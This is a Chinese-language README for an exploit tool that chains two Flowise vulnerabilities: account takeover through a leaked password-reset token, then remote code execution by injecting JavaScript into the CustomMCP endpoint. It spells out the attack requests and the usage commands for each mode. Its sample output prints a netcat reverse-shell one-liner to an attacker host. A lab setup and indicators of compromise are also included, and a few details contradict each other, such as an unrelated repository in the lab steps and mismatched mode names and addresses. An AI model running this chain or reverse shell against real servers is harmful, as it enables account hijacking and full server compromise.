FlowiseAI CVE-2025-58434 和 CVE-2025-59528 漏洞利用PoC,展示通过重置令牌泄露实现未认证的账户接管(ATO),接着是认证后的远程代码执行(RCE)。包含一个可复现的Docker实验环境。
⚠️ 仅供教育和授权的安全研究使用。 在未经拥有或缺少书面许可的系统上运行此工具是非法的。
本仓库包含一个 Python 概念验证,用于串联两个 Flowise 漏洞:
Flowise 是一个用于构建 LLM 应用和 AI 代理工作流的拖放式平台。CVE-2025-59528 影响 Flowise 3.0.5,并在 3.0.6 中修复。问题源于 CustomMCP 节点内对 mcpServerConfig 的不安全处理。CVE-2025-58434 与密码重置令牌暴露相关,同样在 Flowise 3.0.6 中修复。
该工具支持:
有问题的密码重置流程会在 API 响应中暴露敏感用户数据,包括临时密码重置令牌。攻击者如果知道有效用户邮箱地址,可以请求密码重置,从响应中获取临时令牌,然后用它为该账户设置新密码。
该问题影响 Flowise 云环境以及暴露相同 API 接口的自托管/本地部署。修复方法是永远不要在 API 响应中直接返回密码重置令牌或敏感账户重置数据。
该漏洞存在于 Flowise 的 CustomMCP 节点中。mcpServerConfig 参数作为 MCP 服务器配置过程的一部分被解析,并在没有任何安全验证的情况下作为 JavaScript 代码进行求值。这使得经过认证的攻击者能够注入任意 JavaScript 代码,这些代码会在 Flowise 服务器的 Node.js 环境中执行。在 convertToValidJSONString 函数中,用户输入被传递给 Function 构造函数,该构造函数将输入作为 JavaScript 代码进行求值,并拥有完整的 Node.js 权限,允许访问像 child_process 这样的模块来执行系统命令。
此 PoC 所利用的有漏洞端点:
POST /api/v1/node-load-method/customMCP
并在 JSON 体的 mcpServerConfig 字段中携带 JS 载荷,例如:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
有漏洞的代码位于 CustomMCP.ts 文件中,并在 GitHub 维护者对该 CVE 的安全公告 中被引用。
攻击者 Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ 用户对象 + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ 密码已更改 │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<构造的配置> │
│─────────────────────────────────────────►│
│ JS 在 Node.js 中被求值
│ 命令被执行
│◄─────────────────────────────────────────│
│ 命令输出或载荷触发 │
│ │
✓ 账户接管 + 认证后的 RCE
仓库结构
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 配置环境变量
docker-compose up -d
不带任何参数时,工具将运行完整的攻击链:检测目标漏洞,对提供的邮箱执行账户接管,登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
执行版本检查以确定目标是否易受 CVE-2025-58434 和 CVE-2025-59528 的攻击。它会向目标的 API 发送请求并分析响应以识别 Flowise 版本和漏洞状态。
python3 exploit.py --target http://localhost:3000 check
执行 CVE-2025-58434 的账户接管流程。它会为指定邮箱发送密码重置请求,从响应中获取临时令牌,然后使用该令牌为账户设置新密码(默认:"Password123!")。
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
使用指定的邮箱和密码(默认:"Password123!")登录目标。如果成功,它将获取并显示认证 cookie(例如 connect.sid),用于认证后的请求。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
通过向有漏洞的端点发送构造的 mcpServerConfig 载荷来利用 RCE 漏洞(CVE-2025-59528)。该载荷旨在执行一个反弹 shell 命令,连接到攻击者机器上指定的 LHOST 和 LPORT。如果没有提供令牌,则会自动尝试登录并获取有效令牌进行利用。如果未提供 LHOST/LPORT,则默认为简单的 id 命令载荷,其输出将包含在响应中。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
默认模式。 按顺序运行整个攻击链:检测漏洞、执行账户接管、登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| 标志 | 描述 | 示例 |
|---|---|---|
-t, --target | 目标基础 URL | -t http://localhost:3000 |
-e, --email | 目标账户邮箱 | -e [email protected] |
--password | 已知密码(用于登录/RCE 模式) | --password Password123! |
--token | 现有会话令牌,跳过登录 | --token eyJ... |
--new-password | ATO 期间要设置的密码 | --new-password Password123! |
| 模式 | 描述 |
|---|---|
check | 检查目标是否看起来有漏洞 |
ato-mode | 仅运行账户接管流程 |
login-mode | 登录并获取会话 cookie |
rce-mode | 仅运行 RCE 流程 |
full-mode | 串联 ATO、登录和 RCE |
| 标志 | 描述 | 示例 |
|---|---|---|
-c, --command | 要执行的自定义命令 | -c 'id' |
--lhost | 反弹 shell 的监听器主机 | --lhost 10.10.14.3 |
--lport | 反弹 shell 的监听器端口 | --lport 4444 |
| 标志 | 描述 | 默认 |
|---|---|---|
--no-check | 跳过版本/漏洞检查 | False |
-v, --verbose | 启用调试日志 | False |
--log-file | 日志文件路径 | logs/exploit.log |
--no-color | 禁用 ANSI 颜色 | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[*] 目标 URL: http://localhost:3000
[*] 模块 : full-mode
[*] 邮箱 : [email protected]
────────────────────────────────────────────────────────────────────────────────
[*] 正在检查目标是否存在漏洞...
[+] 目标似乎存在漏洞。
────────────────────────────────────────────────────────────────────────────────
[*] 正在启动账户接管 (CVE-2025-58434)...
[+] 密码重置请求已成功发送。
[*] 目标用户数据 :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 姓名 : Lab Admin
🡪 邮箱 : [email protected]
🡪 凭证 : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 状态 : active
🡪 临时令牌 : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 令牌过期时间 : 2026-05-08T19:37:47.025Z
[*] 正在尝试使用临时令牌重置密码...
[*] 新密码 : Password123!
[+] 账户接管成功!新凭证:
🡪 邮箱 : [email protected]
🡪 密码 : Password123!
────────────────────────────────────────────────────────────────────────────────
[*] 正在启动登录流程以获取会话 cookie...
[+] 登录成功!
[+] 获取到会话令牌 :
🡪 令牌 : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[*] 正在启动远程代码执行 (CVE-2025-59528)...
[!] 如果使用反弹 shell 命令,请确保已准备好监听器!
[*] 反弹 shell 命令: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[*] 目标 URL: http://localhost:3000/api/v1/node-load-method/customMCP
[*] 正在发送载荷以触发 RCE...
[+] 载荷已发送。请检查您的监听器是否收到反弹 shell 连接!
────────────────────────────────────────────────────────────────────────────────
[+] 工作完成。再见!
建议使用本地实验环境进行安全测试。
实验环境安装:
cp .env.example .env # 根据需要配置环境变量
docker compose up -d --build
docker compose logs -f
默认情况下会创建两个 Flowise 账户:
[email protected],密码在容器启动时随机生成(请查看日志获取密码)。[email protected],密码在容器启动时随机生成但不会出现在日志中。这是 ATO 流程的目标账户。针对本地实例运行 PoC:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
查看 Flowise 日志:
docker compose logs -f flowise-cve-lab
或:
docker logs -f flowise-cve-lab
Function、eval 或等效的动态执行模式。潜在的入侵迹象:
/api/v1/node-load-method/customMCPmcpServerConfig 值process.mainModule、child_process、execSync、Buffer.from、Function本项目仅用于教育目的、实验环境测试和授权的安全研究。
您有责任确保在针对任何系统运行此工具之前获得明确许可。作者不对使用此代码造成的误用、损害或非法活动负责。进行安全测试时请始终遵守道德准则和法律要求。